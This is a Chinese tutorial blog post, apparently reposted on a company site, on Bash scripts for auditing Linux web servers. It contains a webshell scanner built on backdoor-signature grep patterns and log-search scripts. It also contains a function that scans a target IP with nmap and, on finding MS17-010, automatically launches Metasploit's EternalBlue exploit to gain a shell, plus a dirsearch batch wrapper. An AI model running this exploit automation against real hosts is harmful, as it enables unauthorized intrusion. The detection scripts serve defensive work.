這篇文章將為大家詳細(xì)講解有關(guān)如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
上猶網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián)公司,上猶網(wǎng)站設(shè)計(jì)制作,有大型網(wǎng)站制作公司豐富經(jīng)驗(yàn)。已為上猶上千多家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\外貿(mào)網(wǎng)站制作要多少錢(qián),請(qǐng)找那個(gè)售后服務(wù)好的上猶做網(wǎng)站的公司定做!
windows下,無(wú)論是檢查日志,還是掃描webshell,都有現(xiàn)成的工具使用,畢竟可視化,干啥也方便,Linux下比較麻煩,客戶不讓裝這個(gè),不讓裝那個(gè),有些特殊情況下,服務(wù)器連個(gè)Python環(huán)境又沒(méi)有,用perl寫(xiě)吧,還比較麻煩。
忽然想起來(lái)自己還寫(xiě)過(guò)兩個(gè)小腳本,講完課,沒(méi)事兒改了改,給各位小伙伴們發(fā)上來(lái),腳本沒(méi)什么技術(shù)含量,無(wú)非就是些awk、grep、find、function等,希望能派上用場(chǎng)。
整體運(yùn)行界面是這個(gè)樣子的,界面眼熟吧,msf的圖形,哈哈哈。
總體分了三個(gè)內(nèi)容:
一、Webshell后門(mén)掃描
二、網(wǎng)站日志分析
三、日志搜索
主要內(nèi)容就是通過(guò)read -p 獲取用戶輸入內(nèi)容,然后進(jìn)行判斷
這里需要用戶自行輸入要掃描的網(wǎng)站路徑,字典路徑可有可無(wú),留空,就會(huì)執(zhí)行已經(jīng)寫(xiě)好的東西,自定義的話,就需要用戶自己輸入字典路徑了。。
可能有人看不清圖,我就貼一小段命令出來(lái)吧。
if [ -z $filepath ];then echo -e "\033[1;31m 請(qǐng)輸入要掃描的路徑!\033[0m" webscan elif [ -z $wordlist ];then echo "---------------------掃描信息------------------------------------" echo -e "\033[44;37m 網(wǎng)站路徑:$filepath \033[0m" echo -e "\033[44;37m 字典路徑:$wordlist \033[0m" echo "-------------------------------------------------------------------" find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P\"\.\/\*-\/\*-\*\/\"OS\"\.|<?php \$_GET|base64_decode\($|array_map\(assert|array\(\$Base\(\$_POS|extract\(\$_REQUEST|eval\(\'@ini_set|ZXZhbCgnQGluaV9zZXQ|\'e\'\.\'v\'\.\'a\'\.\'l\'" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句話后門(mén) \033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "一句話|小馬|大馬|掛馬|提權(quán)|命令|文件管理|免殺|后門(mén)|system\(\$cmd\)|shell_exec\(\$cmd\)|\$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode\(|MySQLDll\.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval\(gzunc|cmd\.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 " " "\033[41;37m 疑似webshell大馬 \033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "一句話|小馬|大馬|掛馬|提權(quán)|命令|文件管理|免殺|后門(mén)|exec\(cmd|executeQuery|execute|RealVNC|cmd\.exe|\"nc |reg query|WinStations|RDP-Tcp|PortNumbe|execute|\'cmd\'|HashMap\(|Command Window|JFolder|exeCmd"|awk -F ":" '{print $1 " " "\033[45;37m JSP后門(mén) \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情檢測(cè)|吐司|黑客"|awk -F ":" '{print $1 " " "\033[41;37m 疑似黑頁(yè) \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.txt"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情檢測(cè)|***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧*"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq echo "-------------------------------------------------------------------" echo -e "\033[44;37m 掃描完畢! \033[0m" else echo "---------------------掃描信息------------------------------------" echo -e "\033[44;37m 網(wǎng)站路徑:$filepath \033[0m" echo -e "\033[44;37m 字典路徑:$wordlist \033[0m" echo "-------------------------------------------------------------------" wordlist1=$(cat $wordlist) find $filepath -name "*.php"|xargs egrep "$wordlist1" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句話后門(mén) \033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "$wordlist1"|grep -v "Binary"|awk -F ":" '{print $1 " " "\033[41;37m 疑似webshell大馬 \033[0m"}'|uniq find $filepath -name "*.php"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[45;37m JSP后門(mén) \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[41;37m 疑似黑頁(yè) \033[0m"}'|grep -v "Binary"|uniq find $filepath -name "*.txt"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 " " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq echo "-------------------------------------------------------------------" echo -e "\033[44;37m 字典掃描完畢! \033[0m" echo "-------------------------------------------------------------------" fi
字典還是推薦使用windows下的notepad++來(lái)寫(xiě),按照格式 test|\$POST|\(\$_POST 來(lái)寫(xiě)就好,特殊字符記得轉(zhuǎn)意下。
尤其是涉及中文的,一定要在notepad++中,轉(zhuǎn)換成unix格式,不然是無(wú)法識(shí)別中文的。
執(zhí)行以后的效果是這個(gè)樣子的,雖然是丑了點(diǎn),但是好歹還是能用的。
這個(gè)基本沒(méi)變,懶得改了,詳情可參考3年前寫(xiě)的那篇文章。
如何編寫(xiě)自己的Web日志分析腳本?
運(yùn)行結(jié)果如下:
日志搜索,其實(shí)就是個(gè)文件名搜索和ip地址搜索功能
用戶根據(jù)掃描出來(lái)的webshell后門(mén)名稱(chēng),搜索名字,然后將搜索的信息進(jìn)行去重、統(tǒng)計(jì)進(jìn)行顯示。
主要是通過(guò)根據(jù)用戶指定的文件名或IP地址,將用戶的內(nèi)容保存成變量,然后開(kāi)始篩選,排除404、400的響應(yīng)碼以及Binary關(guān)鍵字等不關(guān)注的信息,然后針對(duì)性的進(jìn)行輸出和統(tǒng)計(jì),讓檢索內(nèi)容顯示的簡(jiǎn)潔些,并將輸出內(nèi)容進(jìn)行保存,方便日后查看。
echo "日志內(nèi)容搜索" read -p "請(qǐng)輸入要分析的腳本名稱(chēng):" name66 if [ -z $name66 ];then echo "請(qǐng)輸入正確的文件名" else echo "*******************************檢索內(nèi)容如下:******************************************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "訪問(wèn)IP地址為:"$1" ""后門(mén)地址為:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66-ip.log fl=$(cat $filepath3/log/$name66-ip.log) if [ -z $fl ];then echo "沒(méi)有發(fā)現(xiàn)匹配$name66的內(nèi)容" rm -rf $filepath3/log/$name66-ip.log echo "按回車(chē)鍵重新進(jìn)行搜索" read key super else cat $filepath3/log/$name66-ip.log echo "*******************************************************詳細(xì)列表如下:******************" more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66.log cat $filepath3/log/$name66.log echo "************************************************************************************" fi fi menu ;;
運(yùn)行結(jié)果如下:
其實(shí)整體內(nèi)容,就是通過(guò)function函數(shù)來(lái)實(shí)現(xiàn)一個(gè)循環(huán)的小框架,來(lái)實(shí)現(xiàn)輸入不同數(shù)字來(lái)執(zhí)行定義好的函數(shù)功能而已。
畢竟都2020年了,不會(huì)徒手寫(xiě)shell腳本的攻城獅不是好運(yùn)維~
寫(xiě)個(gè)整體代碼的框架示例,可能看起來(lái)能更清楚些。。
#!/bin/bash function menu { cat <<EOF echo "1)功能" echo "2)功能" echo "3)功能" echo "4)功能" EOF read -p "請(qǐng)輸入要選擇的功能序號(hào):" num1 case "$num1" in 1) echo "case 1" gn1 ;; 2) echo "看到我的時(shí)候,我已經(jīng)跳轉(zhuǎn)到了function gn2里去執(zhí)行了" gn2 ;; 3) echo "default" gn3 ;; 4) echo "default2" gn4 ;; esac } function gn1 { echo "我是功能1" menu } function gn2 { echo "我是功能2" read -p "如果想嵌套子功能,就學(xué)我:" zgn case "$zgn" in 1) echo "我是功能2的子功能,看見(jiàn)我因?yàn)槟爿斎氲氖?" ;; 2) echo "case 2 or 3" ;; 3) echo "default" ;; esac gn2 } function gn3 { echo "我是功能3" } function gn4 { echo "我是功能4" } menu
當(dāng)用戶執(zhí)行時(shí),根據(jù)輸入的序號(hào),來(lái)跳轉(zhuǎn)到對(duì)應(yīng)的邏輯上。
用戶輸入序號(hào)1,則進(jìn)入到case的第一個(gè)邏輯上,輸出echo "case 1"后,讓它跳轉(zhuǎn)到定義好的gn1函數(shù)上,并讓gn1函數(shù)輸出“我是功能1”后,返回到menu函數(shù),也就是主界面。
以此類(lèi)推,當(dāng)用戶輸入序號(hào)2時(shí),調(diào)到gn2函數(shù)上。
function gn2 { echo "我是功能2" read -p "如果想嵌套子功能,就學(xué)我:" zgn case "$zgn" in 1) echo "我是功能2的子功能,看見(jiàn)我因?yàn)槟爿斎氲氖?" ;; 2) echo "case 2 or 3" ;; 3) echo "default" ;; esac gn2 }
執(zhí)行效果如下:
在kali中,可以將常用的工具集中起來(lái),配合bash shell的function函數(shù),來(lái)實(shí)現(xiàn)自動(dòng)化執(zhí)行,就不需要背命令了,無(wú)論什么工具,輸個(gè)IP地址或者域名就可以直接使用了,只要你提前在function里將它寫(xiě)好。
當(dāng)然了,如果有在kali里做安全相關(guān)的畢設(shè)的同學(xué)們,可以把msf利用寫(xiě)進(jìn)去,省去了手動(dòng)輸入命令的過(guò)程,還顯得有B格~
例如:
nmap+msf的MS17-010配合使用時(shí),可以這樣去設(shè)計(jì):
先使用read -p獲取用戶輸入內(nèi)容,并將其保存在變量里,當(dāng)然了,nmap 要用戶輸入的地方,肯定是IP啦~
read -p "請(qǐng)輸入要掃描的IP地址:" num2
利用nmap -v -n $num2 獲取目標(biāo)端口信息
再通過(guò)篩選445端口信息,配合awk來(lái)將信息進(jìn)行分割輸出,獲取內(nèi)容:
egrep "open port 445" |awk -F "/" '{print $1}')
并將內(nèi)容保存到cmd變量里
然后再調(diào)用-script=smb-vuln-ms17-010格式對(duì)目標(biāo)IP進(jìn)行掃描,確認(rèn)是否存在MS17-010漏洞,
nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_DNS"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'
將其保存在cmd2變量中
一旦目標(biāo)IP存在MS17-010漏洞,輸出結(jié)果中會(huì)含有相關(guān)信息,通過(guò)awk分割,獲取關(guān)鍵詞MS17-010,通過(guò)cmd2變量中獲取的內(nèi)容進(jìn)行匹配,如果兩者相當(dāng),則執(zhí)行接下來(lái)的操作。
調(diào)用msfconsole,并將變量中的IP地址信息自動(dòng)填寫(xiě)進(jìn)去,關(guān)鍵命令如下:
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
最終,就實(shí)現(xiàn)了通過(guò)nmap掃描----判斷漏洞-----利用漏洞的一系列效果了:
function ms17010 { cat <<EOF `echo -e "\033[1;35m ms17010 攻擊演示:\033[0m"` EOF echo -e "\033[1;35m *********準(zhǔn)備探測(cè)*************\033[0m" read -p "請(qǐng)輸入要掃描的IP地址:" num2 cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}') if [ "$cmd" = "Discovered open port 445" ];then cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}') echo -e "\033[1;35m $num2 \033[0m 已開(kāi)放445端口" else echo -e "\033[1;35m $num2 \033[0m 未開(kāi)啟445端口" fi if [ "$cmd2" = "(ms17-010)" ];then echo -e "檢測(cè)到目標(biāo):\033[1;35m $num2 \033[0m 存在MS17-010漏洞!" sleep 3 echo -e "\033[1;35m ***************開(kāi)始進(jìn)行攻擊*********************\033[0m" msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run" else echo "做球啥呢" fi exit }
執(zhí)行效果如下:
開(kāi)始界面:
利用nmap -script=smb-vuln-ms17-010,掃描到目標(biāo)主機(jī)存在MS17-010漏洞后,自動(dòng)執(zhí)行攻擊命令,獲取shell權(quán)限。
假設(shè)目標(biāo)主機(jī)沒(méi)有開(kāi)啟445端口,或者有防火墻,則提示失敗。
暴力破解也是如此。
利用nmap掃描服務(wù)信息,判斷開(kāi)放的服務(wù),根據(jù)服務(wù)信息,自動(dòng)調(diào)用要破解的模塊,實(shí)現(xiàn)自動(dòng)識(shí)別,自動(dòng)破解,輸出結(jié)果的過(guò)程,其實(shí)就是個(gè)調(diào)用,調(diào)用,再調(diào)用,沒(méi)什么技術(shù)性,關(guān)鍵是在于一個(gè)字!
懶!
有學(xué)生之前問(wèn)過(guò),windows上好些工具,都需要進(jìn)命令行里去執(zhí)行,好麻煩,每次都記不住,還得打開(kāi)txt復(fù)制命令去用,好煩啊~
當(dāng)然了,Linux上懶也就罷了,windows上也可以稍微懶一懶。
例如:
windows上可以通過(guò)批處理的方式,來(lái)寫(xiě)個(gè)懶人批處理
原理,依然是獲取于用戶輸入,然后將輸入內(nèi)容帶進(jìn)變量里去執(zhí)行,簡(jiǎn)單的不要不要的~
@set /p ym="輸入要掃描的域名地址:" @set /p jb="輸入要掃描的腳本類(lèi)型:" @rem 等待用戶輸入 @set /p gn="請(qǐng)選擇要使用的功能:": @rem 選擇環(huán)境編碼1 @if %gn%==1 ( @echo 普通掃描! C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401 ) else ( @if %gn%==2 ( @echo 遞歸掃描! C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5 pause )
最終實(shí)現(xiàn)效果如下:
關(guān)于“如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。
新聞標(biāo)題:如何實(shí)現(xiàn)基于BashShell的一個(gè)審計(jì)腳本
文章URL:http://chinadenli.net/article38/pigssp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供商城網(wǎng)站、域名注冊(cè)、網(wǎng)站營(yíng)銷(xiāo)、定制網(wǎng)站、網(wǎng)站導(dǎo)航、小程序開(kāi)發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
移動(dòng)網(wǎng)站建設(shè)知識(shí)